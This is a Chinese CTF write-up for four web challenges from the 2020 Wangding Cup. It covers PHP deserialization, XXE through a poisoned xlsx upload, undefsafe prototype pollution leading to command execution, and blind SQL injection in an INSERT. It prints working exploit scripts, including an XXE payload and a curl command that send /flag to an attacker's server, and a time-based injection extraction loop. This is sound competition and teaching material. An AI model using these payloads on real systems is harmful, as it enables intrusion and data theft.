网鼎杯2020-青龙组-WEB-writeup
网鼎青龙组成功挺进线下,当然要感谢队友们的给力发挥,大二两只队也能成功会师半决赛了.(就是对我这样的awd小白而言估计又是去当炮灰了)
说下比赛感受吧。老实说web手比赛体验并不好。开赛到12点才出现第一道WEB题.而这之前唯一一个签到靶机题我开了一个小时都是坏的...
然后是比赛氛围,老实说明眼人应该都看得出来了。中间py什么的就不多说了。java那题我眼睁睁看着5分钟内涨了几十解。至于其他几个二进制的题更不用提,做出来的人数就是铁证了。最后五分钟内,十几秒时间我们队掉了十多名然后又蹦回来了就很迷。
然后动态靶机一队只能开一个,老实说很大程度上束缚了开题的节奏。
比赛难度倒还能接受。按郁师傅说的,这次没ak web不太应该。当然其实是最后看着只剩10多分钟时名次稳了就做不动了.赛后复现最后一个题时也发现确实不改完没做出来的。总之这里把所有WEB题解都记录下吧。
AreUserialize
今日玄学题。首先是源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
功能上有一个任意写跟任意读。只需要过一个valid函数检查就能反序列化。op的值决定了读/写功能。
首先析构函数明显是入手点。但是他限制了当op为"2"
时令op为"1"
也就是写功能。然后又置内容为空。
跟进到process()
函数看下,会明显的发现它采用了$this->op == "2"
这样的弱类型相等判断。
那么漏洞很明显了,我们可以利用弱类型比较绕过析构函数的限制,达成任意文件读取。
不过注意的是,原题的Filehandler
类属性都是protected,表现出来的结果就是序列化数据有空字符。而这是过不了is_valid()
的检查的
但是不要紧。php7.2+版本下反序列化并不在乎你传入的数据属性是否是protected。所以我们改成public即可。
<?php
class FileHandler {
public $op = 2;
public $filename = "file:///web/html/flag.php";
}
$o = new FileHandler();
echo urlencode(serialize($o));
2=="2","2e0"=="2"
这种技巧不用多说了。这里要解释的是比较坑的后面的filename。开始直接伪协议读flag.php读不到。这个从源码角度讲完全没道理。
然后只能尝试用绝对路径读了。基于我们其他文件都能轻松读到,我们先构造个404看看这是什么服务器。
发现是 Alpine的镜像。
于是查了波其web路径的配置/web/config/httpd.conf
然后得到web路径后换绝对路径就读到了,玄学问题。
ps:
赛后突然想起来原来在做D^3时踩过的一个坑。就是apache的析构函数执行时工作目录可能会变。所以用相对路径读时是获取不到flag.php的.当然这是概率问题、有的人就能直接读到。
filejava
这题能出200解我是真没想到的,主要中间那波垂直上分太突兀了。但仔细想我也是那个时间交的flag...
当然题目肯定是简单题。首先进去有一个我开始忽略的信息就是它在upload界面提示flag在/flag、然后随便上传个文件,马上就测出是个任意文件下载
那老套路先从/WEB-INF/web.xml
开始
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>
三个Servlet,路径也都给出来了,一个个读然后反编译吧。
这里直接给出含有关键代码的java
UploadServlet.java
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: UploadServlet.java
package cn.abc.servlet;
import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.*;
public class UploadServlet extends HttpServlet
{
public UploadServlet()
{
}
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
doPost(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String savePath;
File tempFile;
String message;
savePath = getServletContext().getRealPath("/WEB-INF/upload");
String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
tempFile = new File(tempPath);
if(!tempFile.exists())
tempFile.mkdir();
message = "";
ServletFileUpload upload;
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(0x19000);
factory.setRepository(tempFile);
upload = new ServletFileUpload(factory);
upload.setProgressListener(new Object() /* anonymous class not found */
class _anm1 {}
);
upload.setHeaderEncoding("UTF-8");
upload.setFileSizeMax(0x100000L);
upload.setSizeMax(0xa00000L);
if(!ServletFileUpload.isMultipartContent(request))
return;
try
{
List list = upload.parseRequest(request);
Iterator iterator = list.iterator();
do
{
if(!iterator.hasNext())
break;
FileItem fileItem = (FileItem)iterator.next();
if(fileItem.isFormField())
{
String name = fileItem.getFieldName();
String s = fileItem.getString("UTF-8");
} else
{
String filename = fileItem.getName();
if(filename != null && !filename.trim().equals(""))
{
String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
if(filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try
{
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
}
catch(InvalidFormatException e)
{
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
String saveFilename = makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
String realSavePath = makePath(saveFilename, savePath);
FileOutputStream out = new FileOutputStream((new StringBuilder()).append(realSavePath).append("/").append(saveFilename).toString());
byte buffer[] = new byte[1024];
for(int len = 0; (len = in.read(buffer)) > 0;)
out.write(buffer, 0, len);
in.close();
out.close();
message = "\u6587\u4EF6\u4E0A\u4F20\u6210\u529F!";
}
}
} while(true);
}
catch(FileUploadException e)
{
e.printStackTrace();
}
request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);
return;
}
private String makeFileName(String filename)
{
return (new StringBuilder()).append(UUID.randomUUID().toString()).append("_").append(filename).toString();
}
private String makePath(String filename, String savePath)
{
int hashCode = filename.hashCode();
int dir1 = hashCode & 0xf;
int dir2 = (hashCode & 0xf0) >> 4;
String dir = (new StringBuilder()).append(savePath).append("/").append(dir1).append("/").append(dir2).toString();
File file = new File(dir);
if(!file.exists())
file.mkdirs();
return dir;
}
private static final long serialVersionUID = 1L;
}
实话说,第一步读完后看了眼所有的源码。没看出什么端倪。(其实是看漏了)
第一想法是幽灵猫。但是问了下队友说8009端口不是开的就作罢。
然后想利用刚刚的任意文件下载读flag.却发现被定位到404了。仔细看源码会发现
DownloadServlet.java
if(fileName != null && fileName.toLowerCase().contains("flag"))
{
request.setAttribute("message", "\u7981\u6B62\u8BFB\u53D6");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
果然过滤了关键字。需要其他方法读flag.
此时回过头发现uploadservlet有一段突兀的源码
if(filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try
{
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
}
catch(InvalidFormatException e)
{
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
我第一想法是想到之前曾经看过但没做过的swpuctf web5.那道题是我第一次见过能用xlsx打xxe的类型。而它用到的就是一个很老的cve,CVE-2014-3529.
而这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。而这个CVE的poi版本恰好是poi-ooxml-3.10
那就不用说了,先试着按流程构造下payload。
注意,这里构造payload时最好在zip中打开我们需要修改的[Content-Types].xml
。否则可能会出错。这是我听同学说才知道有这种玄学问题。我个人是先将xlsx改为zip,然后winrar直接打开修改xml的poc。最后再改回来。这样应该就没啥问题了。
发现vps能收到请求。那就直接xxe盲打一把梭了。
poc
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://xxxxxx/1.xml">
%int;
%all;
%send;
]>
vps上的1.xml
<!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxxxxxxx/?%payl;'>">
监听80端口收到flag
notes
源码
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
老实说一开始审完源码没啥收获。大概的思路是,题目已经有了一个命令执行。那么我要是能修改它固定死的命令内容就能任意打了。但是这种达成肯定是要原型链污染的。我没看到merge()
之类的函数就没继续想了
然后之后发现这题居然有原题参考的...
https://github.com/balsn/ctf_writeup/blob/master/20181124-asisctffinal/README.md#secure-api
仔细看了下发现好像几乎一样啊。只有一个undefsafe依赖的区别.
然后就发现这个依赖果然存在原型链污染的问题
var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);
参照这个例子,我们很快就能找到原型链的污染点在edit_note这。
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
然后按wp的payload改就行了
import requests
s = requests.session()
data={'raw':'curl 120.27.246.202/?`cat /flag`','id':'__proto__','author':'byc_404'}
url='http://bed4f32827b843ca9ad5b763749970dd265f40236d544ada.cloudgame1.ichunqiu.com:8080/'
r=s.post(url+'edit_note',json=data)
print(r.text)
r=s.get(url+"status")
print(r.text)
这里id污染了后用raw或者author两个属性都能命令执行。当然因为回显的原因我们选择curl外带数据
trace
这题没做出来确实不太应该。赛后按郁师傅的思路果然一下就出了。不过也证明sql里的技巧确实不少啊。
首先当然是sql类型.题目只有一个register_do.php
,而没有login的功能。
测了一会后突然发现,回显变成了WTF???row>20
而且你的payload怎么改回显都一致.
那么此时可以大致推断下。我们的payload是被拼接进了insert into
语句。因此数据库的返回结果才会增多到上限20。
那么首先猜测结构,构造payload
username=admin',if(1=1,sleep(5),1))#
会发现虽然返回了504。但是的确可以延时.
然而再按照这个思路构造盲注payload却发现我们并不能跑出什么结果。此时再访问register_do.php
发现row又超出20了.
所以关键就是,我们要想办法不增加结果,同时还能延时。
这里就得膜一波郁师傅了。10分钟不到就能出结果...
payload:
1'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),1,1))=102,pow(9999,100) or sleep(3),pow(9999,100)),'1')#
既然没有什么waf。我们就把主体部分带上if字句进行时间盲注的判断。但是此时我们让结果同时pow(9999,100)
也就是报错一下。那么我们就不用担心语句数超过20的上限。
然后发现表名不知道为什么跑不出来。但是可以直接尝试flag表然后无列名注入。
select `2` from (select 1,2 union select * from flag)a limit 1,1
exp
import requests
flag=""
for i in range(1,50):
print(i)
a=0
for j in "0123456789abcdefghijklmnopqrstuvwxyz{}-":
url = 'http://1ff59e94406f4210a83ac8268a0037c3334b9006071c441b.changame.ichunqiu.com/register_do.php'
payload = "1'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),"+str(i)+",1))=" + str(ord(j)) + ",pow(99999,100) or sleep(3),pow(99999,100)),'1')#"
data = {
'username': payload,
'password': '321'
}
r = requests.post(url, data=data)
try:
r = requests.post(url, data=data, timeout=3.0)
except requests.exceptions.ReadTimeout:
flag+=j
print(flag)
a=1
break
if a==0:
break
老实说最后十几分钟可能不够做出来的吧。但如果更早点敏锐的察觉到这种注入并找到手段就好了...但是这题收获还是不少的。毕竟自己好久没见到insert_into的盲注。手法也生疏了不少。sql注入的技巧学习还要继续加把劲啊。
小结
网鼎结束后这个月还有不少其他比赛。不过估计没多少时间花在CTF上了。这个月一方面希望把java,渗透等方面的知识再接触下。然后比赛打好。等下个月差不多就要专注在学业上了。